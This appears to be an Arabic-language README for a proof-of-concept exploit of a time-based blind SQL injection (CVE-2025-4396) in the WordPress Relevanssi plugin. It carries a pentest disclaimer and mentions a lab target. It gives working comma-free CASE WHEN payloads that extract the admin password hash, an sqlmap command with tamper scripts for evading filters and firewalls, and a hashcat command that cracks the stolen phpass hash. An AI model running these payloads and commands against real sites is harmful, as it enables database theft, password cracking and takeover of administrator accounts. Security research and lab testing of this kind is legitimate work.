
CVE-2025-4396 - WordPress Relevanssi Time-Based Blind SQL Injection
إخلاء مسؤولية: هذا المستودع مخصص لأغراض اختبار الاختراق المصرح به، والبحث الأمني، والتعليم فقط. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني وغير أخلاقي.
إثبات مفهوم لاستغلال ثغرة حقن SQL أعمى زمني في إضافة WordPress Relevanssi 4.24.4. يعالج هذا التطبيق بشكل خاص البيئات المحصنة حيث:
SUBSTR(str, pos, len) وIF(cond, true, false)SLEEP() قبل تقييم التعبير بالكامل، مما ينتج نتائج إيجابية خاطئةفي بعض البيئات (على سبيل المثال، معمل DVWP)، تفشل حمولات حقن SQL القياسية لسببين رئيسيين:
| المشكلة | التأثير |
|---|---|
| إزالة الفواصل | يكسر SUBSTR(str, pos, len) وIF(cond, true, false) |
SLEEP() الجشع | MySQL تُقيِّم النوم قبل التعبير البولياني الكامل، مما ينتج نتائج إيجابية خاطئة |
كلا المشكلتين تتطلبان حلولاً مستهدفة — مغطاة في الأساليب اليدوية والآلية أدناه.
asy.py)نص بايثون غير متزامن يوفر استخراجًا جراحيًا حرفًا بحرف. يتجنب عبء الأدوات الآلية ويتجاوز تصفية الفواصل عبر منطق CASE WHEN.
| الميزة | التنفيذ |
|---|---|
| I/O غير متزامن | aiohttp للطلبات غير المحظورة |
| حمولات بدون فواصل | صياغة |
# حمولة زمنية بدون فواصل وبتقنية CASE WHEN
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
لماذا CASE WHEN بدلاً من IF()؟
IF() تستخدم فواصل وتخضع للتقييم الجشع. CASE WHEN يُقيَّم بتكاسل، مما يضمن عدم تشغيل SLEEP() إلا عندما يكون الشرط TRUE بالفعل.
يمكن لـ SQLMap أتمتة الاكتشاف في هذه البيئة باستخدام نصوص التلاعب (tamper scripts) والعلامات المناسبة.
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
ملاحظة حول
--threads=1: هذا ضروري للاستخراج الموثوق. تعدد الخيوط يُسبب تداخلًا في تأخيرات النوم، مما يُفسد توقيت البحث الثنائي وينتج مخرجات مشوشة.
| الحقل | القيمة |
|---|---|
| الهدف | جدول WordPress wp_users |
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
-m 400 يستهدف تجزئات phpass-a 0 هو هجوم قاموس مباشر باستخدام rockyou.txtSUBSTR(str FROM pos FOR len)| منطق غير جشع | CASE WHEN يضمن أن SLEEP() لا تعمل إلا عند TRUE |
| العلامة | الغرض |
|---|
--tamper=commalessmid,if2case | يعيد كتابة الحمولات إلى SQL بدون فواصل؛ يستبدل IF() بـ CASE WHEN |
--tamper=between | يستبدل مقارنات > بـ BETWEEN لتجاوز إضافي لجدار الحماية |
--technique=T | يقتصر على الحقن الأعمى الزمني فقط |
--no-cast | يمنع أغلفة CAST() التي تُدخل فواصل محظورة |
--threads=1 | يضمن دقة التوقيت — الطلبات المتزامنة تُسبب تداخلًا في تأخيرات النوم |
| المستخدم | admin (ID = 1) |
| التجزئة المستخرجة | تم التعديل |
| الخوارزمية | phpass (تجزئة كلمة مرور WordPress القياسية) |